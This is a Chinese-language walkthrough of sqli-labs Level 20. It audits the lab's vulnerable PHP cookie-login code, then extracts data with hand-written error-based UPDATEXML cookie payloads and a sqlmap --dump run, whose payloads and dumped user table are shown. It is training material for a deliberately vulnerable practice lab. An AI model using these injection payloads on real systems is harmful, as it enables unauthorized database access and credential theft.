sqli-labs通关笔记-第20关 字符型Header-Cookie SQL注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、Header注入

二、源码分析

1、代码审计

2、SQL注入安全分析

三、渗透探测

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin登录探测

四、手工注入

1、获取数据库名

2、获取表名

3、获取列名

4、获取数据值

五、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法共两种方法分别对第20关Less 20基于字符型的Header-Cookie注入关卡进行渗透实战,相对于1-17关的区别主要是SQL的注入位置由HTTP报文的GET或者POST方法传参变为了基于 HTTP 请求头字段,相对于18关和19关的区别如下所示。

  • 18关:Insert语句注入,SQL注入点为Header的User-Agent字段。
  • 19关:Insert语句注入,SQL注入点为Header的Referer字段。
  • 20关:Select语句注入,SQL注入点为Header的Cookie字段。

一、Header注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

Header 注入是指攻击者通过操纵 HTTP 请求头字段(如User - Agent、Cookie、Referer等),将恶意代码或非法参数注入到 Web 应用处理流程中,从而触发 SQL 注入、命令注入的攻击方式。

Cookie 注入Header 注入的一种,攻击者通过篡改 HTTP 请求中的 Cookie 字段,将恶意 SQL 或命令注入到 Web 应用中。其原理与普通注入类似,但利用了 Cookie 作为身份验证或会话管理载体的特性,具有更高隐蔽性。

Header注入与 GET/POST 注入的对比如下表所示。

对比项 Header 注入 GET/POST 注入
注入位置 HTTP 请求头字段(如 Cookie、UA) URL 参数(GET)或表单数据(POST)
数据可见性 部分头字段(如 Cookie)需抓包查看 直接显示在 URL 或表单提交数据中
防御复杂度 需额外过滤头字段输入 常规过滤请求参数即可
典型 Payload Cookie: token=' OR 1=1 -- ?id=1' UNION SELECT ...
攻击隐蔽性 更高(用户难以察觉头字段修改) 较低(URL 参数易被用户或日志捕获)
适用场景 依赖头字段的认证 / 日志功能 常规表单提交、查询接口

核心差异:Header 注入利用 HTTP 协议的元数据字段,攻击路径更隐蔽,常被用于绕过常规参数过滤机制;而 GET/POST 注入直接针对用户可见的输入参数,防御和检测相对直观。两者均需通过预编译语句、输入过滤和最小权限原则进行防护。

二、源码分析

1、代码审计

本关卡Less20是基于Header-Cookie的SQL注入关卡,打开对应的源码index.php,如下所示。

Less20关卡的源码实现了一个基于Cookie的登录系统,用户首次登录验证用户名密码后设置Cookie,后续访问通过Cookie自动认证。系统对表单输入进行了过滤但未处理Cookie值,导致存在SQL注入攻击获取数据库敏感信息。详细注释后的第20关卡源码如下所示。

复制代码
<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
error_reporting(0); // 关闭错误报告

// 检查是否存在uname cookie
if(!isset($_COOKIE['uname'])) {
    // 未设置cookie时显示登录表单
    echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";
    echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
    echo "<div style='padding-top:10px; font-size:15px;'>";
    echo '<form action=" " name="form1" method="post">';
    echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';
    echo '   <input type="text"  name="uname" value=""/>  </div>';
    echo ' <div> Password : &nbsp; &nbsp; &nbsp;';
    echo '   <input type="text" name="passwd" value=""/></div></br>';	
    echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
    echo '</form>';
    echo '</div>';
    echo '</div>';
    echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
    echo '<font size="3" color="#FFFF00">';
    echo '<center><br><br><br>';
    echo '<img src="../images/Less-20.jpg" />';
    echo '</center>';

    // 输入过滤函数
    function check_input($con1, $value) {
        if(!empty($value)) {
            $value = substr($value,0,20); // 截断输入(仅取前20个字符)
        }
        if (get_magic_quotes_gpc()) {  // 移除magic_quotes自动添加的反斜杠
            $value = stripslashes($value);
        }
        if (!ctype_digit($value)) {    // 非数字类型加引号并转义
            $value = "'" . mysqli_real_escape_string($con1, $value) . "'";
        } else {
            $value = intval($value);   // 数字类型直接转为整数
        }
        return $value;
    }

    echo "<br>";
    echo "<br>";

    // 处理登录表单提交
    if(isset($_POST['uname']) && isset($_POST['passwd'])) {
        // 获取并过滤用户输入
        $uname = check_input($con1, $_POST['uname']);
        $passwd = check_input($con1, $_POST['passwd']);

        // 构造SQL查询(存在注入风险)
        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysqli_query($con1, $sql);
        $row1 = mysqli_fetch_array($result1, MYSQLI_BOTH);
        $cookee = $row1['username'];
        
        if($row1) {
            // 登录成功,设置cookie并重定向
            echo '<font color= "#FFFF00" font size = 3 >';
            setcookie('uname', $cookee, time()+3600);	
            header ('Location: index.php');
            echo "I LOVE YOU COOKIES";
            echo "</font>";
            echo '<font color= "#0000ff" font size = 3 >';			
            echo "</font>";
            echo "<br>";
            print_r(mysqli_error($con1));			
            echo "<br><br>";
            echo '<img src="../images/flag.jpg" />';
            echo "<br>";
        } else {
            // 登录失败,显示错误信息
            echo '<font color= "#0000ff" font size="3">';
            print_r(mysqli_error($con1));
            echo "</br>";			
            echo "</br>";
            echo '<img src="../images/slap.jpg" />';	
            echo "</font>";  
        }
    }

    echo "</font>";  
    echo '</font>';
    echo '</div>';

} else {
    // 已设置cookie,显示用户信息
    if(!isset($_POST['submit'])) {
        $cookee = $_COOKIE['uname'];
        $format = 'D d M Y - H:i:s';
        $timestamp = time() + 3600;
        
        echo "<center>";
        echo '<br><br><br>';
        echo '<img src="../images/Less-20.jpg" />';
        echo "<br><br><b>";
        echo '<br><font color= "red" font size="4">';	
        echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
        echo "</font><br>";	
        echo '<font color= "cyan" font size="4">';	
        echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
        echo "</font><br>";			
        echo '<font color= "#FFFF00" font size = 4 >';
        echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
        echo '<font color= "orange" font size = 5 >';			
        echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

        echo "<br></font>";
        
        // 直接使用cookie值查询数据库(存在注入风险)
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        $result=mysqli_query($con1, $sql);
        if (!$result) {
            die('Issue with your mysql: ' . mysqli_error($con1));
        }
        $row = mysqli_fetch_array($result, MYSQLI_BOTH);
        
        if($row) {
            // 显示用户信息
            echo '<font color= "pink" font size="5">';	
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo '<font color= "grey" font size="5">';  	
            echo 'Your Password:' .$row['password'];
            echo "</font></b>";
            echo "<br>";
            echo 'Your ID:' .$row['id'];
        } else {	
            // 未找到用户
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/slap1.jpg" />';
            echo "<br><br><b>";
        }
        
        // 删除cookie表单
        echo '<center>';
        echo '<form action="" method="post">';
        echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
        echo '</form>';
        echo '</center>';
    } else {
        // 处理删除cookie请求
        echo '<center>';
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 6 >';
        echo " Your Cookie is deleted";
        setcookie('uname', '', time()-3600); // 设置过期时间以删除cookie
        header ('Location: index.php');
        echo '</font></center></br>';
    }

    // 记录cookie信息到日志文件
    $fp=fopen('result.txt','a');
    fwrite($fp,'Cookie:'.$cookee."\n");
    fclose($fp);
}
?>

本关卡代码虽然对用户名和密码输入进行了过滤(截断、转义),但存在严重SQL注入安全问题:因为其未过滤Cookie信息,导致攻击者可通过修改Cookie字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息。主要处理逻辑如下所示。

  • 认证流程

    • 首次访问:显示登录表单 → 验证凭据 → 设置Cookie

    • 后续访问:检查Cookie → 自动登录 → 显示用户信息

  • 安全功能

    • 表单输入过滤(长度限制、转义处理)

    • Cookie过期时间设置(1小时)

  • 日志记录

    • 记录Cookie值到result.txt
  • 用户界面

    • 登录成功/失败显示不同图片

    • 显示用户代理和IP信息

    • 提供Cookie删除按钮

2、SQL注入安全分析

这个代码存在严重的Header-Cookie注入安全问题,原因如下:

  • Cookie 注入安全风险

    • 登录成功后,用户名直接存储在 cookie 中(setcookie('uname', $cookee, ...))。

    • 后续查询直接使用 cookie 值($sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"),未对cookie值进行过滤,导致 Cookie 注入。

      cookee = _COOKIE['uname']; // 获取Cookie值
      sql="SELECT * FROM users WHERE username='cookee' LIMIT 0,1";

  • 字符串拼接方式:SQL语句中使用单引号包裹用户输入,攻击者可以单引号注入恶意代码。

  • **数据库错误信息暴露:**print_r(mysqli_error($con1))显示数据库错误细节,为攻击者提供有价值的调试信息,便于实现报错SQL注入渗透攻击。

三、渗透探测

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

复制代码
http://127.0.0.1/sqli-labs/

其中第20关在基础注入关卡"SQLi-LABS Page-1(Basic Challenges)"中, 点击进入如下页面。

复制代码
http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less20关卡,进入到靶场的第20关卡报错型Header-Cookie注入关卡,页面提示这是一个登录的页面,需要输入用户名和新密码,页面下方还有一个显示本地ip地址的页面输出,具体如下所示。

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡未过滤Cookie字段,导致攻击者可通过修改Header的Cookie字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息,具体代码如下所示。

复制代码
$cookee = $_COOKIE['uname']; // 获取Cookie值
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

页面整体存在SQL风险,核心根源在于未对输入参数$_COOKIE['uname']做安全处理且暴露数据库错误细节,闭合方式为单引号。

(2)admin登录探测

输入用户名admin,密码admin,页面此时如下所示。

点击登录后,进入到如下页面,显示此次登录的用户名、密码和cookie信息,此时cookie中的uname=admin,具体如下所示。

仔细观察登陆成功后有两个报文(第一个是POST提交表单,第二个是GET页面报文), 在burpsuite的历史记录中找到这两个报文,抓包效果如下所示。

首先是POST报文,参数中包括用户名admin和密码admin,如下所示。

第2个报文是GET报文,Header中包括cookie信息,根据2.2源码分析可知,在登录成功后使用cookie执行执行SQL查询语句有SQL注入问题,故而需要对这个报文信息保存,如下所示。

此时对第2个报文(GET型)request请求部分右键,选择copy to file并保存为sqli-labs20.txt,如下所示。

四、手工注入

1、获取数据库名

如下所示,数据库的名称为"security"。

复制代码
uname=admin'or UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1)#

2、获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

复制代码
uname=admin'or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)#

3、获取列名

如下所示,数据库users表的列名分别为id,username,password。

复制代码
uname=admin'or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'),0x7e),1)#

4、获取数据值

最后通过上一步获取到的列名来提取users表的username和password内容,如下为注入语句。

复制代码
uname=admin'or UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT('USER:',username,' PASS:',password) FROM users LIMIT 0,1),0x7e),1)#

如下所示,获取到第一个行对应的用户名和密码渗透成功。

五、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

复制代码
sqlmap -r sqli-labs20.txt  --current-db --dump --batch

其中sqli-labs20.txt中的注入点被修改为如下所示,Cookie中username的赋值admin尾部增加星号,标注Cookie字段为注入点,具体如下所示。

复制代码
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-20/index.php
Cookie: uname=admin*
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

sqlmap渗透成功,可以通过报错法、联合注入法、布尔盲注、时间盲注方法渗透成功,闭合方式正式具体信息如下所示。

复制代码
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin' AND 8094=8094 AND 'YEyZ'='YEyZ

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x7162707871,(SELECT (ELT(6533=6533,1))),0x716a6a7871),6533) AND 'jZyL'='jZyL

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin' AND (SELECT 9942 FROM (SELECT(SLEEP(5)))yVpA) AND 'zlmN'='zlmN

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-2711' UNION ALL SELECT NULL,CONCAT(0x7162707871,0x726474706779696c764e54544a626a544163476b554b486442557341696c6f546c7053596354744e,0x716a6a7871),NULL-- -
---
[05:17:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[05:17:22] [INFO] fetching current database
current database: 'security'
[05:17:22] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:17:22] [INFO] fetching current database
[05:17:22] [INFO] fetching tables for database: 'security'
[05:17:22] [INFO] fetching columns for table 'uagents' in database 'security'
[05:17:22] [INFO] fetching entries for table 'uagents' in database 'security'
[05:17:22] [INFO] fetching number of entries for table 'uagents' in database 'security'
[05:17:22] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:17:22] [INFO] retrieved: 0
[05:17:22] [WARNING] table 'uagents' in database 'security' appears to be empty
Database: security


Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
相关推荐
BachelorSC5 小时前
【网络工程师软考版】网络安全
网络·安全·web安全
不灭锦鲤9 小时前
网络安全第15集
安全·web安全
ALe要立志成为web糕手10 小时前
TCP/IP
安全·web安全·网络安全·渗透测试
浅夏入秋^_^11 小时前
网络安全运维面试准备
运维·安全·web安全
看天走路吃雪糕13 小时前
墨者:SQL手工注入漏洞测试(Oracle数据库)
数据库·oracle·sql注入·墨者靶场
ALe要立志成为web糕手14 小时前
HTTP 与 HTTPS 的区别
网络·安全·web安全·网络安全
看天走路吃雪糕15 小时前
墨者:XPath注入漏洞实战
xml·xpath·sql注入·墨者学院
明月看潮生15 小时前
编程与数学 03-002 计算机网络 12_网络安全基础
计算机网络·安全·web安全·青少年编程·编程与数学
ALe要立志成为web糕手17 小时前
计算机网络基础
网络·安全·web安全·网络安全